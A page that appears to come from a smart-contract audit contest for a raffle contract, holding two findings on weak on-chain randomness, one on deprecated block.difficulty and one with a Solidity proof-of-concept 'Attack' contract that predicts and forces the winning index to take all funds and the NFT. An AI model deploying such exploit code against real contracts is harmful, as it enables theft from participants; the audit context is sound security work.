block.difficulty After The MergeTitle: Use of Deprecated block.difficulty After The Merge
Impact: Low
Likelihood: High
The selectWinner function uses block.difficulty as an input to the keccak256 hash for randomness generation. On proof-of-work Ethereum, block.difficulty varied unpredictably and added entropy to on-chain random number generation.
Following the Ethereum Merge (transition from proof-of-work to proof-of-stake via EIP-4399), block.difficulty was deprecated and replaced by prevrandao (previously known as random). The block.difficulty value now returns a constant derived from the parent beacon chain randomness and is no longer miner-controllable, but it also no longer provides the same entropy characteristics it once did. More critically, the Solidity compiler version used here (0.7.6) predates the Merge and has no awareness of prevrandao, meaning the randomness input is fundamentally outdated and provides weaker guarantees than intended.
Likelihood:
Since the Merge on September 15, 2022, every block on Ethereum mainnet is proof-of-stake. Any deployment of this contract to mainnet will use the deprecated block.difficulty value, which no longer behaves as the original developers intended.
The contract targets Ethereum deployment (as stated in the audit scope: "Chain(s) to deploy contract to: Ethereum"), meaning this issue is not hypothetical — it will affect every production deployment.
Impact:
The randomness quality is further degraded beyond what was described in Finding [H-2]. While block.difficulty is no longer miner-manipulable post-Merge, it is also no longer a strong entropy source. It is derived from the beacon chain's RANDAO value, which has known limitations including potential predictability by sophisticated actors with knowledge of beacon chain validator behavior.
This finding compounds the weak randomness issue in [H-2]. Even if the other randomness inputs were fixed, the continued use of block.difficulty means the random number generation is using an obsolete, deprecated opcode that modern Solidity versions and security tools flag as a warning.
This PoC demonstrates that block.difficulty no longer provides the proof-of-work entropy the contract was designed to use. On post-Merge Ethereum, block.difficulty is a derived value from the beacon chain, not an independently unpredictable mining output. Static analysis tools like Slither emit deprecation warnings when block.difficulty is used in Solidity versions that predate the Merge. The key issue is that the contract's randomness model was designed for a proof-of-work world that no longer exists, and the inputs available post-Merge have fundamentally different entropy properties.
The recommended mitigation is to migrate the contract to Solidity 0.8.x and integrate Chainlink VRF v2, which provides cryptographically provable, unbiased randomness on-chain. This single change addresses both this finding and the critical weak randomness issue documented in Finding [H-2]. If an immediate migration to Chainlink VRF is not feasible, the minimum fix is to upgrade to Solidity 0.8.x and replace block.difficulty with block.prevrandao, which is the post-Merge equivalent. However, prevrandao alone does not solve the fundamental predictability problem — only a verifiable randomness solution like Chainlink VRF provides true on-chain unpredictability.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.